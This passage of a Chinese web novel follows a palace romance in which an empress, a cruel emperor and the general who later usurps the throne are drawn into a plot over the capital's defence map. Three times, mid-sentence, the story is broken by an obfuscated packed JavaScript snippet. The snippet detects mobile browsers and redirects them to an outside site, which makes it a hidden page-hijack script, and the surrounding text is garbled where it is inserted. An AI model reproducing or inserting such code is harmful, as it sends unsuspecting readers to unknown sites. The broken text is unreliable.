元临点点头,胸中积压的憋闷消散了些。大殿上谢玄冷硬的眼神看得他发慌生惧,更不用说谢玄疑似对皇后的觊觎。男人的直觉让他不能容忍谢玄稍微停顿在皇后身上的眼神,隐秘地流连于眉眼腰侧,让他气血上涌,想要提剑杀了谢玄! “皇后呢?”元临想起虞枝倔强劝谏他出兵镇压东胡的模样,既想怒斥她逾矩,又觉得她清丽的模样宛若出水芙蓉,濯清涟而不妖,别有一番滋味。比起千娇百媚的贵妃似乎多了些不好驯服的野性和冷漠,他想敲碎虞枝坚硬的外壳,看她逢迎跪卧在他脚边对他事事臣服。 “叫她过来。” “是。” 汤泉水热,凝结成白蒙蒙的雾气,在大门打开时驱散了些夜雨的寒冷,恍若踏入仙境。 虞枝额前的鬓发略被雨打湿了,她抽出手帕擦了擦。本来她不该出现在行宫的,元临因为她屡次劝谏已经动了怒,甚至差点要废了她的皇后之位。可是过几日不知怎么的消了气,许是想起了她的好,临出发前又叫人请她过来。 御驾前,她看着元临停留在她身上的目光,听他叹了口气说她似乎消瘦了些的时候,似乎觉得他们的关系又回到了刚成婚那时。他的眼神总是望着她,连她隔日丢了一只明月珰都记得牢牢的,转天更新更华丽的就顷刻奉上。 是从什么时候开始变了呢? 也许是从她第一次强硬地不许皇帝因私修庙,也许是贵妃陷害她和朝中大臣勾结,又或许是虞家门客抱怨皇帝寡恩,被他记恨…… 山路湿滑,元临又不准其他人也跟着过来,就只剩下元临派过来传信的一个小太监,他年纪小,自己走着尚且自顾不暇,还要为她撑伞,搀扶不了虞枝走路了。虞枝就手握着竹杖,颇为艰难地行进。 远远的,似乎有个人影跪在行宫温泉的小门旁。 是谁呢? 虞枝稍作停顿,为那人叹了口气。闷雷不断,有骇人的传闻说是雨夜树木茂盛的山中闷雷会成精,能吃了人的灵魂。没了灵魂的人浑身发黑,跟烧焦了似的。 这么大的雨,想必是得罪了元临才会被罚至此。 虞枝知道元临有时候生起气来是不管人死活的。 “是谁?”寒冷侵骨的秋夜,女人的声音像山鬼精魅,语调如兰,清丽轻幽。 谢玄觉得他一定是快要撑不住了,不然怎么会出现幻觉。 远处一团白色的衣衫在风雨中荡啊荡,墨发有些松散了,固定的银簪下滑几分,让平日里高高在上不苟言笑的皇后娘娘狼狈了几分。 谢玄不想看她狼狈的样子,而且她怎么会有狼狈的样子呢?还是在他面前。 以为是幻想,所以他绽开了笑容。不像宫宴上相见时的恭敬,亦不像表演出的冷漠。谢玄终于露出了一个发自内心的微笑。 可惜离得太远,虞枝没瞧见。 “是谁跪在哪里?”她加重语气。 这时谢玄才发现——不是梦。 不! 他睁大被雨水拍打得疼痛的眼眸,瞧见那个靠近的身影一步一步踏在碎石泥土上,原来那洁白的裙摆早已经被打湿弄脏,黑乎乎的一团,冰冷而沉重。 理智在很久以前就告诉他当断不断,必受其乱。所以他告诉自己他是恨她的,恨她冥顽不灵、攀龙附凤,恨她早早抽离、冷心冷情。谢玄终于从自己给自己打造的梦中惊醒,用最冷硬的语气开口: “臣,参见皇后娘娘。” 他不必起身跪拜,因为他的膝盖早已经在冷雨中浸泡得麻木。 谢玄脸上没有一点表情,连半分目光都没分给胸口起伏得厉害的虞枝。 “谢玄?!”她失了惯有的沉稳平和,尖叫失声。“为何……”转瞬她想明白缘由,“难道就因为你极力上书要夺回燕云?”虞枝咬牙,怒气无法掩藏。 “本宫去找皇上!”虞枝语气坚定,直接抛了竹杖,小跑着推开了虚掩的小门。 门内,笑语隐隐从温泉玉池边传来。男男女女在调笑间推杯换盏,将温泉行宫玉池同璃山的雨夜,也同通城的血海隔离开。 “皇上。”虞枝冷声,冰凉的雨水就顺着她惨白的脸颊往下流,比泪还要凶猛。 元临被她冲动颤抖的样子吓了一跳,转瞬埋怨道:“怎么不换上我赐给你的素纱浴袍?”元临挥散围绕在身旁的清凉美人,拿起一旁夜光杯中淡紫色的葡萄美酒,借酒色打量虞枝。 虽是白衣紧裹,但也别具风味。 元临大度地觉得一会只要虞枝态度肯软些,他也就不再计较先前的龃龉了。 于是他好心情地张开手臂,“过来。” 虞枝没有挪动,元临笑容淡了下来:“过来。”这一次,是命令。 “陛下,谢将军是忠臣良将,哪怕劝谏失言也不该……” “皇后!”元临猛地将手中的夜光杯抛掷进水中,自己站起身,四溅冒着热气的水花。“你越界了。”元临额侧青筋暴起,连着他凸出的眼眶,阴鸷可怕。 元临抬脚,大步迈过玉阶,“你和他倒是心意相通。”他咬着牙。 虞枝以为他说的是她和谢玄一同上谏,却不知在元临的眼中,他们都为对方说了情。 就像这次汤泉行宫,她本不该来的。可谢玄听说璃山温泉极好,对她腿伤有益。 “朕记得,谢玄到现在还未娶妻。”元临忽地在虞枝周围转起圈,他一手扶在腰上,一手指着小门的方向,“是该给他赐个婚了。你说,”元临停下,目光灼灼地盯着虞枝,“就把你……” 他刻意停顿了好久,直到在虞枝眼里看见不可置信的水雾才恶作剧成功般哈哈大笑着继续:“就把你那个娘家表妹赐给他如何?”他得了趣,手按在虞枝肩上,笑得开怀。 虞枝心冷,忍住将要滴落的眼泪,问他:“陛下当真不在乎燕云,当真不心疼百姓吗?” “谁说朕不在乎?”元临瞬间收了笑,狰狞着吼道:“朕有什么办法?要钱没钱,要人没人,难道朕要把自己的亲卫送给谢玄,让他去打必败的仗吗?” “若不是陛下轻信贵妃之兄,怎会沦落到无兵可用的境地?” “说来说去你还是在嫉妒怨恨雨兰。” “臣妾没有。”虞枝一字一句,可是她从元临的眼睛看到嘲讽和怒火,唯独没有信任,“臣妾身为国母,上谏君王,下理六宫,以天下之养为养,以百姓之子为子,绝无半分私心。” “你的私心,朕看得明白。”元临也一字一句反驳,“朕绝不会废了贵妃,但朕会废了你。”元临 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040482|162500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说完,广袖一挥,任由已经冰冷的温泉水飞溅到虞枝脸上。 “滚出去!”元临大喊。 声音高到小门外跪着的谢玄似乎也听见了。 只是不真切,像是隔了层水雾。 也许是听错了。 但谢玄还是移了移身子,想近一点,听得再清晰些。 刚一动,麻木着的膝盖就承受着万千蚂蚁啃食般的蚀骨之痛,寒气入骨,他又跌回原地。泥水冷冰冰的,沾染到他的衣袖、手背、脸侧、发梢。 他一只手撑在地上,用力到抓起一片碎石。锋利的棱角划破他的掌心,细细的鲜血很快就汇入雨流中消失。 小门似乎‘吱呀’了一声。 谢玄费力从地上挣扎起身,但是转瞬无力的腿又针扎一样疼痛,逼他倾倒下去。 这一次他仰面,任由无情的冷雨拍打他的眉眼。因为他想要看清楚,是谁走近了他。 哪怕是战场上最危险的时刻,他的呼吸都没有这样微弱过。 战场上,每个致命危险的瞬间都令他心脉涌胀,激烈得快要跳出胸膛,热血上翻,没有比那再清醒专注的时刻了。 可是此刻,他被雨水覆面,呼吸困难,心脏的跳动那样轻缓,快要让他疲惫着睡过去。 若是有只淬毒的利箭朝他飞过来就好了,在生存的本能下,他一定能再度站起来。 谢玄没等来致命的箭,只等来了温柔的手。 带着很浅很浅的暖意,像梦境里的一片云。 竟然有能握住的一片云。 “谢玄……” 有人呼唤他的名字,还带着哭腔。 是谁那么娇气,不就是睡一觉嘛。 很快他就会起来的,尽管他开始听不清声音,眼睛也睁不开,五感都要丧失了似的。 “谢玄!”虞枝贴近谢玄的脸,十分微弱的呼吸喷洒在她耳侧。这一刻,她忘了君臣、男女、亲疏,顾不得礼数尊卑。将墨染的一把油纸伞不顾一切地倾斜,大片的雨滴洒落,好似自璃山奔涌而下的瀑布。 虞枝撑着伞,将伞的所有都倾向谢玄。 这是第一次,有人将全部给了他。 从前爱着护着他的母亲有了其他孩子,父亲本就没在意过他,皇帝对他不过是利用,兄弟部下亦有自己的爱人至亲。 究竟……是谁? 隔绝了暴雨,将他拉回来。 谢玄慢慢睁开眼睛,一柄长伞罩在他身上。 “娘娘都湿透了。”他好不容易恢复了些感知,费力地抬起手,将手伸到伞外由雨水洗涤净上面的泥水灰尘,然后拉住她的裙摆,固执地想将她拉进伞的保护里。 虞枝摇头,手按住谢玄。他们的温度是一样的冰冷。 “娘娘快回去吧。”谢玄第一次用这样和缓恳求的语气对虞枝说话,连气力都快消失了。 他硬撑着,“陪着臣做什么呢?臣算是什么……” 他看雨幕不留情地从天空落下席卷着身姿纤弱的女孩,她脸上划过的雨水似的流不尽的泪,如同他脸上的悲戚。 明明没一丝雨落在他脸上,可偏偏他脸颊上的湿润越积越多,滑落进他的衣领,烫得惊人。 “娘娘……为什么……”他的声音终于变得颤抖,身体都跟着一起。 为什么一次次拒绝,又一次次停留。 痛苦让他不自觉地蜷缩,像是依偎在她怀里一般。 终于,他听见她的声音。 她说,“谢玄,对不起。” 16. 同床异梦 下着这么大的雨,水汽迷蒙,让虞枝想起宫变的那一夜。 刚好谢玄沐浴后换了身黑绸衣裳,修长的身躯在衣衫下若隐若现,远远看上去和弑君的那天极为相似,叫虞枝身体一僵。 谢玄以为她是受寒了,于是端过玉英手中姜汤朝虞枝走过去,没注意到玉英停留在他身上的视线格外得久。 看着谢玄渐近的身影,虞枝怕会泄露出惊恐让前些天的努力白费,于是往锦被里缩了缩,尽量用平稳的声音道:“你竟记了那么久。”她说的是汤泉行宫的那夜。她出于对臣子的愧疚,出于对谢玄的不忍,竟忘了自己的身份。 其后元临大怒,把她软禁在凤宁宫,不许太医来为她医治,对外只说是皇后伤寒不便见人。也就是在那时,虞枝落下了体寒难愈的毛病。 “把姜汤喝了。”谢玄坐下来,亲自拿起勺子喂她。 虞枝本想自己来,却瞥见谢玄含笑的唇和期待的眼,不觉无法开口,只能低头去含他手中的汤匙。 温热辛辣的姜汤驱散了身体的寒冷,似有寒气被逼散般,身体轻松了许多。 “那时我本以为你不会留下的。”谢玄满意地看着空碗,伸出温暖的大手摩挲了下虞枝鬓发,柔滑泛着光泽的衣袖滑落至手肘,坚实有力的小臂暴露在水汽十足的空气中。虞枝发上的银钗终是禁不住逗弄,滑落下来,三千青丝绸缎般荡开,和谢玄身上的寝衣融为一体,宛如水乳/交融。 冰凉顺滑的手感令谢玄爱不释手。 他带着茧子的手不自觉地擦过小巧的耳廓和白嫩的脖颈,勾起难言的颤栗。 虞枝倏地轻轻捏住他想要继续向下的手指,黝黑的瞳仁慢慢向上抬起,看着他道:“你很希望我留下?” 她声音也很轻,非得再靠近一些才能听清。 谢玄被蛊惑,贴近一步。 “是。”他声音听起来虔诚极了。脱掉了白日里阴沉不驯的外壳,黑黑的长睫只随着他的心跳轻颤,时有时无地遮住睫下漆黑如曜石的光景。“从没有人像娘娘一样……”他带着虞枝的手向上,直到抚上自己略烫的脸颊,发出满足喟叹。“在我即将抽离时,又拉我回来,告诉我别怕。” 何况,她过得并不好。 这叫他如何放下。 虞枝能感受到自己手心下的温度,她惊觉自己好像惹了火,也感受到自己格外强烈的心跳。 怎么会……被这乱臣贼子的只言片语说动了呢?只是因色而起的欲念罢了,无论是元临还是谢玄,能流连入目的不过是她这身皮囊而已。 虞枝狠下心闭上眼,不去看谢玄的痴迷与依恋。 “娘娘,别走。” 她听到他气息紊乱的声音,心也跟着颤了一分。 “为什么?”虞枝垂眼。 耳旁泄出一丝轻笑,听得人羞红了脸。 那温热的气流实在太轻,勾引起人心底里的欲/望。偏偏他声音还低哑而磁性,不住地在她耳边说着简直下流的话。 “我舍不得娘娘。”谢玄拉着虞枝的手贴在他坚硬的胸腹上,皮肤滚烫。 丝绸的寝衣,触感滑腻而光洁,像是浸在奶中的一片温润之玉,玉上起伏着凸起的纹理,是一片云纹。 “谢玄!”虞枝惊呼,咬牙遏制住口中的颤音。她根本不敢睁开眼睛,只想赶快将手从谢玄的身体上拿开。 “娘娘,”谢玄声音强势了些,“别躲。”他声音既痛苦又愉悦似的。 虞枝的呼吸在挣扎间时重时轻。他就随着她的动作泄出满足的轻叹息,不成调的,比香市那夜还重还沉。他终于是将虞枝揽入怀中。 “娘娘,臣真的很开心。”谢玄嗓音干哑,迫切地想要尝一点甘霖。 可是虞枝不肯,抵住他的胸膛,再不肯让他前进半步。 她不明白为什么谢玄总爱和她玩这些君臣扮演的戏码,明明他们现在已经不再是过去的关系。可是谢玄非要在情动之时执拗地称呼她为‘娘娘’,自己则继续当觊觎着君妻的乱臣。 虞枝快要发疯。 只不过谢玄也没好到那去,他被冰与火夹击着,进退不得。只能一遍遍哄诱着对方,渴望再多得到一些肌肤相贴。 他想唤她娘娘,想继续把她捧上神坛,他只需要匍匐在她脚下做裙下臣就足够。他本来就不是正统的人,在这处处讲究规矩的世间,他没有立足之地。他厮杀他拼命,只为了能让自己有块地方疗伤,所以他想回到从前,回到她一边高高在上,一边向自己流露出怜悯神伤眼神的时候。 哪怕那瞬间短暂而飘忽,至少是她真情流露。在这情缘淡薄的世间,她还为他留着一滴眼泪。 谢玄头脑靡乱,已经分不清她的真情与假意,只当她真的在与自己沉沦。直到虞枝突然发力将他推开。 他看见虞枝睁开了眼,眼中有他没看明白的慌乱与自责。 “我……我还没沐浴!”虞枝落荒而逃。 直到被布满花瓣的洗澡水包裹,她才缓过神来。 她愣愣地盯着在水面上飘零的木槿花瓣,不住地问自己:如果谢玄再多用那样温柔恳求的声音诱骗她几句,她是不是就会甘心引颈就戮? 她怎么会这样?变成被魔鬼控制身体的木偶? 即使她承认刚才的惊恐中带着难以言说的愉悦与空虚,但是她不能再沉沦,不能变成和书里那些没有好下场的淫/妇一样,被男人牵着鼻子走。 “春桃,我再待一会。”虞枝脑子乱极了,她甚至不知道待会回去,如果谢玄执意继续,她又该如何。 直到外面的暴雨都停了,浴桶里的水加了一桶又一桶,再泡下去,她人都会浮肿。 虞枝才起身。 “谢玄睡下了吧。”她不安。 “奴婢也不知道,是玉英近身伺候着。”春桃一直守在虞枝身边。 虞枝点点头,慢慢踱步向寝房。她步子迈得极小,时间又被她磨蹭消耗掉许久。 只是路终有尽头,何况是并不宽阔的凤宁宫。 行至寝殿门前,虞枝犹豫要不要现在进去,却忽然听见门扉被推开的声音。紧接着,有人跑出来,步子颇惊慌。 “娘娘!”玉英小声惊呼。 她身上的衣裙有些凌乱,胸前更是褶皱不堪,一张脸上泪痕未消,双目楚楚动人,无措地盯着虞枝。“娘娘,奴婢没有勾引皇上,是陛下他突然把奴婢……”玉英声音微弱蚊蝇,不待说完就羞愤地提起裙摆飞跑了出去。 留下错愕的虞枝与春桃。 春桃咽了咽口水,忙去看虞枝,“娘娘,您别伤心……” “我没事。”虞枝收回方才惊讶的眼,张开的樱红唇瓣也合起。一切看似寻常,不像发生了皇帝忽然宠幸了她身边的宫女的样子,只是从她由红润转成苍白的脸上依稀能看出——她也不是全然不动于衷。 “也许是玉英下作,贪图荣华,勾引了陛下……”春桃恨恨,却被虞枝打断。 “他是武将出身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040483|162500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,若是他不想,谁能强迫得了他?”虞枝很清楚地感觉到她的心一下子就冷却下来了,本茫然的心底变得清醒坚定。 瞧,她刚竟然差点走上只有书里面的傻女人才会走的路——信了男人的甜言蜜语,竟想背叛自己的父兄,背弃自己的责任。如果她方才松懈了神经,信了谢玄的哄诱,将自己的一切交付出去,那等待她的会是什么? 名正言顺的夫君元临尚且宠妾灭妻,而仅仅是一夜不得就宠幸他人的谢玄以后恐怕会将她幽禁虐待也尚不可知。 她曾经知道谢玄是一个心底有天下有底线的人,但是多年未见,他已经变成为了权力不择手段的乱臣。如同当年元临新婚之时对她百般爱护,最终弃如敝履,连最后一面都不想见她。可知世上男人多薄幸,为他们放弃自己的坚持是不值的。 “春桃,别乱说了。他是皇帝,做什么你我都没有权力置喙。”虞枝淡淡道,神情已经恢复自然,只是方才纠结的小女儿态已经消失殆尽。 春桃反应过来,谢玄可是手握重兵造反的主,谁敢指责他的不是?他弑君囚父,旁人对他来说更是犹如蝼蚁。 “是,奴婢再不敢了。”春桃惊出一身冷汗。 恰逢这时谢玄久等虞枝不回,想去寻她,又恐再吓到她,把好不容易缓和的关系弄僵,便派了胡泉去寻,正好胡泉寻到门口,见了人笑呵呵跑过来道:“娘娘可算是回来了,陛下特地派奴才来寻您。” “水热体凉,贪暖多泡了会儿。”虞枝一边说一边走进去,将话讲给胡泉,也讲给谢玄听。 谢玄果然没甚怀疑,慵懒地躺在床榻边朝她伸出手。他已经换了身寝衣。 他眉眼的餍足流露出来,虞枝看得清楚,那是男人满足后才会有的表情,眼角眉梢都带着春意。 “身体还是很凉吗?”谢玄朝虞枝伸出左手,惯常用的右手被他背到身手。 久等虞枝不归,他便懂得了妮子内心的躲避。谢玄不愿逼她太紧,可身体的紧迫由不得他高高举起轻轻放下,只能遣散众人到外边伺候,自己将脸贴在虞枝方才落下的银簪上,轻轻抚摸摇晃,感受着银簪凸起的花纹在他脸上摩擦,如同虞枝的手亲密无间地贴在他脸颊上。 许久才释放,谢玄小心地收起银簪。 “嗯。”虞枝躲进被窝里,只露出一双月牙儿似的眼睛看着谢玄。“自从汤泉行宫一夜秋雨,身体便得了寒症,经年不愈。”虞枝的理智全然回归,甚至学会用曾经的真心来换取对方的愧疚。 果然,谢玄的脸色忽地僵住。 虞枝趁着他的不安,违心的将身体贴近,直到双臂环抱住谢玄的腰身。 原来他并不像看起来的那么强壮,宽大的寝衣之下肌肉紧实,她双臂轻松地拥住,有淡淡的檀香同她身上的木槿花香重叠。 可是他的身体刚同另一个女人亲昵地交缠过,这令虞枝想要呕吐。但为了达成目的,她只能忍耐,做出最可怜的样子,仿佛在为自己的身体叹息。 同床异梦。 她轻轻道:“谢玄,我没办法有自己的孩子了。所以我一直把元澈当成我的儿子,他现在过得很不好。” 说着,她终于流出一滴泪。也感受到拥在肩背上的双臂越抱越紧,快要让她窒息。她以同样的力度还给谢玄。 可这应该是痛苦动作反而让她生出了一股畅快,说不上来的酸疼从她心底抽搐开来。 她颤抖着说: “让元澈留在我身边好不好?” 17. 交易 “王爷,奴婢寻到了绝妙的机会,现下皇后娘娘一定误会谢玄了。” 青山缀雨,浅溪浮花。 常年孤寂的佛寺毗邻皇宫最角落的冷宫,只有鸟鸣与溪流生生不息。 粗衣布鞋的僧人亲手扫去长着一层青苔石路上被雨水冲来的断枝残叶,“玉英。”他声音如一尊古佛平静无波,“你不该再叫我王爷。”他纠正了很多遍,但是对方固执。 果然,玉英红了眼焦急道:“王爷是皇家血脉,当年若不是太后和先帝卑鄙,坐上皇位的人就应该……” “玉英,”他似是叹息,“我让你听命于元澈,也不过是为了还元家一条命。其他的前尘往事,我早忘却了。” 玉英摇摇头,恨不得捂住耳朵不听他再说什么。“您从不欠元氏的,当年他们假意要传位给您也不过是要夺您的兵权,最后却害得您在这人不人鬼不鬼的地方长伴青灯古佛,消磨人生的大好时光。” 男人扫完了院子,终于面向玉英,将她的不甘收入眼底。 “元氏欠我的,已用半生荣华还给我。倒是我欠那孩子的,不知何时才能还给她。”他想起长信殿跪得笔直的背影,千般孽缘由他而起。 当年从悍匪的金刀下救下她的并不是元临,背着她走了三十里路的人亦不是元临。 虽然即使没有这个小小的插曲,她应该也会义无反顾地遵守了婚约,但终是他刻意隐瞒造成了误会。 他想,他心底有愧。 * 石留青想谢玄一定是疯了,竟然把元临名正言顺的继承人接出了翠薇宫,还抱到虞枝膝下抚养。 这不是给天下心怀鬼胎的人一个突破口吗? “元澈已经病亡。”谢玄料到怒气冲冲的石留青要说什么,平静道:“养在皇后身旁的是虞家长女虞兰的幼子。深宫寂寞,朕接皇后的外甥进宫陪伴,并无不妥。” “陛下!你我心知肚明,来日一旦有人见到这孩子的模样就会明白一切!”石留青据理力争。 谢玄难得失声。 他…… “此事朕会再做思量,先待送走东胡使者后再做打算吧。”谢玄下了令,把石留青剩下的话堵回肚子里。 东胡使者此行目的落空,不知还会不会有更大的阴谋隐藏在背后。须得集中了人力精力尽心提防,直到使者团安全无事抵达东胡。 石留青掂量了轻重缓急,虽然心里一万个不愿意,但是终究不能再多说些什么了。只是在心里厌恶了虞枝几分,甚至觉得曾经还刚正不阿的皇后娘娘突然骄纵无理起来是她的计策,目的就是扰乱朝政! “胡伽!”石留青步出大殿,看见立在殿外的胡伽,便冷声问道:“我问你,皇后这些日子对陛下做了什么,你一五一十地说!” 石留青武将出身,一人有胡伽两个大,勇猛的身影一笼罩,令胡伽虽为难皇帝私事不便外传,但仍迫于石留青铁黑的脸色,透露了一二。 没听到虞枝引诱谢玄整日饮酒作乐、靡乱奢费,反听到是谢玄天天巴巴地追上去讨好,先前不是被斥责就是挨巴掌,近些日子才好了些,他脸色青红了一阵,和缓了些许。 石留青终是冷哼一声,出了宫门。 胡伽不敢停留,赶紧向谢玄汇报了刚才的对话。 谢玄没怪罪胡伽失言,只是叫他给石留青送去一幅京城城防布防图。待胡伽退下,紫宸殿只剩下他一人,他才搁置下一直书写不停的朱笔,独自静默了下来。 那夜他不是没有怀疑过虞枝的心思。但他不知道原来这些年虞枝一直无所出竟然是因为……他。 秋雨是如何侵骨寒冷,他再清楚不过。后来虞枝到底为他撑了多久伞他已经不知道了,只记得醒来皇帝派他即刻离京赴任不得延误。他向人打听,听说皇后染了风寒谢绝见客。后来虞枝好好地出来了,在中秋夜宴,她平和地问他在塞外过得可好,他以为那是雨夜的结局。 却不想原来元临施怒于她,不许太医给她医治,她孤身一人在凤宁宫拖好了自己的风寒,却落下了寒症。 谢玄不自觉地开始描绘她一个人躺在凤宁宫的样子,她在等谁来?或许明白谁也不会来救她,她只能靠自己活下去。 但仍有一个微弱的念头魔咒一般困扰着他:她会不会一直在等他来? 谢玄心针刺一般,绞痛起来,难以呼吸。 他曾以为虞枝亏欠他颇多,却不想自己也曾将她拖入深渊而不自知。 互相亏欠。 谢玄搁置在桌案上的手慢慢握成拳,直到生生作响才停止了加重的力道。 亏欠好,谢玄在心里偏执地安慰自己。 这样我还给你一点情,你施舍给我一点爱,日子就过下去了。 他只需要把最好的东西奉上,将自己亏欠的、来不及献出的都弥补给她。 只要她也是真心地想要继续和他在一起。 不管别人怎么想,他有把握让虞枝慢慢爱上他。只要她肯给他一个入场的机会便好。 谢玄嘴角绽开笑颜,这会是她们之间真正的开始。在一切都清晰了后,在他以为一切都清晰了后。 午后太阳晒干了前几日积留的雨水,清荷池上宽大的菡萏叶面水珠聚成圆滚滚的一滴,在被微风吹动的叶上来回翻滚,折射着刺眼的日光。 库狄舒最后望了一眼美丽干净的御花园,心知自己这次就要无功而返。但她又不甘心,终于在临走前向虞枝递上消息:她想要亲自拜见虞枝一面。 虞枝同意了。 当库狄舒踏入凤宁宫,看着一尘不染的青石路和澄澈流水的假山瀑布,她明白论享受还是中原王朝的人会享受。她们在大漠打猎牧羊,过着被风沙摧残的生活,而这些汉人则占据着得天独厚的地理优势,发展农耕,数以亿计的银钱不断地被输送到这座华美的宫殿供人享受。 本来好在元临是个软骨头,愿意让出三分之一的赋税物资来换取自己的和平享乐。可是新任的谢玄却不吃这一套,和他打仗无疑也是在消耗她们东胡的实力。她们不是没在战场上和谢玄交过手,他简直要比当年元氏的那个鬼面将军还要难缠。 不过…… 库狄舒步入正殿,瞬间被阵阵输送着凉气的冰鉴征服。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“娘娘,您怎么和她说了那么久的话?”春桃不解,她对这个目的是同谢玄和亲的公主抱有本能的敌意。 虞枝摇头淡笑,“不过是觉得新奇。你听她说在草原上追野鹿、看流沙难道不觉得好玩吗?” “啊?奴婢只觉得危险,野蛮的胡人!”春桃撅嘴。 “是啊,”虞枝不知在想着什么,目光黯淡下来,“他们如此地野蛮无礼,过着有今天没明天的生活,却能够占了我们的燕云,在天子脚下大肆掠夺烧杀,扰得边境民不聊生,这是为什么?” 春桃答不上来,只傻傻地张开嘴,嚅嗫着发不出一点声音。 虞枝本意也不是强求春桃的答案,归根结底,她是在追问自己。 库狄舒想帮她扳倒谢玄,重扶元氏后代登基。这样东胡似乎就又可以继续和元氏皇族的交易,他们不费人力兵马就能继续安心地在草原生活,中原也不必担心连年的战乱摧毁亲人的生命和自己的家园。 这是元临在时认为的双赢局面。 而虞枝要付出的,是一张关于京城的布防图。 “娘娘,您这是要去哪?” “紫宸殿。” 18. 城防图 “陛下,皇后娘娘求见。” 当胡伽掬着一抹和他侄子一样甜腻非常的笑容同谢玄说话时,谢玄正在为三日后东胡使者离去的事伤神。他们不信任谢玄,怕谢玄会在他们出皇宫后暗放冷箭,便指明希望谢玄亲自送其至京城外,待其和候在城外驿站的随行护卫接头后再行离去。 亲自出皇宫相送有两个好处。 一是让东胡使臣看到他的让步,思量是否有暂缓干戈的可能,为各自休养生息争取时间。这对谢玄尤其重要,中原的满目疮痍需要恢复的时间。 二是他可以亲自至城外掌控全局,防止东胡护卫作乱的同时震慑元临遗留下的亲兵。 若他是个安稳继位的正统皇帝,显然会不假思索地出城送行。但是谢玄不是,他得位不正,可以说这皇帝之位是他生夺过来的。暗处有多少人不服不满,咬牙切齿地想要拉他下来。 寒梦更深之时,他也会在漆黑血腥的梦境看到自己众叛亲离,身首异处的悲惨下场。 古来得国不正的君王少有全身而退的好下场。 谢玄有时候也会怕,怕梦中的情景成真,因此格外珍视身边人的忠诚信任。他不计较石留青的以下犯上,重赏提溜着脑袋陪自己造反的兄弟,对屡次触碰底线的虞枝睁一只眼闭一只眼。 只要他们不背叛他,他都可以将宽容的线放到最大的限度。 因此他听了胡伽的声音,整日紧锁的眉头终于舒展。他许久没说话,刚一开口声音还有些哑,但藏不住语气的轻松欢愉:“皇后主动来找朕?”还有些不敢相信的恍惚。 “是,不仅如此,奴才看皇后娘娘手里好像还亲自拿着个食盒呢!”看见虞枝和谢玄关系越来越像一对正常的帝后,胡伽甭提有多高兴了,比自己当新郎还要兴奋,这点倒是和他侄子如出一辙。 “哦。”谢玄故作镇定,强压下上扬的唇角,“传皇后进来吧。”他第一次认同当皇帝是天下第一得意事。 “娘娘来了。”谢玄斜坐在椅子上,手臂曲起,轻支撑在眉眼处。小手指不自觉地描摹着眉眼的形状,一遍又一遍。 直到虞枝走过来,他动作僵住。 “我听胡泉说这一日你都没怎么正经吃过饭。” 这关心简直是在梦中,谢玄磕磕绊绊道:“原想着晚膳时去陪你,不想东胡的公主与你说了许久的话,占住了你的时间。”兴许有什么该抓住的闪过脑海的线索,但谢玄沉浸在虞枝编织的温柔体贴中,让一切如细丝飘入汪流,转瞬不见了。 “我从小厨房给你带了点心来。”虞枝笑笑,打开漆红色的食盒。里面摆着几样甜香的点心,是芙蓉糕和杏酪。记得昔年在茶楼雅间相会,桌上摆着的常是这几样。 恰巧都是虞枝爱吃的,她便以为谢玄口味当是如此。 谢玄不假思索,拿起一块芙蓉糕塞进嘴里,也不怕虞枝下毒。 虞枝看着谢玄细细品尝的模样,心底忽然阴暗地想,若是现在与她交锋的是元临,他一定会先借着亲昵的姿态将这糕点递到她唇边,看她吃下去后他才好浅尝。这是从小生长在帝王家的经验,在明枪易躲暗箭难防的深宫,一切都要谨慎十分。 但谢玄不是,他生长在无人问津的荒野,肆意变成了不羁疏狂的模样。像一株落在山崖碎石间的树,自信也自负。 他不该如此信任她的。 虞枝放下手中的食盒盖子,扫视了一周紫宸殿。这地方她以前也来过几次,是在和元临感情尚好的时候,还在紫宸殿伺候过一次笔墨,这是后妃少有的殊荣,全后宫只有虞枝和贵妃有这个优待。虞枝是因为身为帝后,有资格出入紫宸殿,而贵妃则是因为元临的宠爱,以及她皇子侍女出身,不识几个大字,认不出奏疏内容,几乎断绝了干政的风险。 “这是?”虞枝低头去看谢玄桌案上的奏疏,不想上边明晃晃摆着一张图纸,上面东南西北四处各做布防,精确到首领姓名和侍卫数量。 “是京城的布防图。”谢玄盯着虞枝尖尖的下颌,心里琢磨着该怎么才能让虞枝消瘦的身体圆润些。“我刚派人将备份交给了石留青,让他在三日后按照布防小心行事。” 三日后东胡使臣计划离去,这是虞枝知道的事。 瞧虞枝盯了许久,久到谢玄已经把一盘芙蓉糕吃完。那银制的碟子精致小巧,装不了什么东西,对谢玄来说只能算是开胃。偏他想好好回味虞枝主动送来的东西,慢嚼细咽,倒真让他品味了有一阵。 直到银碟空空如也,谢玄才疑惑道:“怎么一直盯着这图看?” 他语气未见异常,但虞枝背后却惊出冷汗。 原是她做贼心虚。 虞枝正在脑子里思索该如何骗过谢玄,却不想他先换了个姿势,将她拉到自己身前,仰视地看着虞枝,“说起来娘娘何时才能把答应给我的丹青送来?” 他看到虞枝盯着布防图,心里便想起生日礼来。 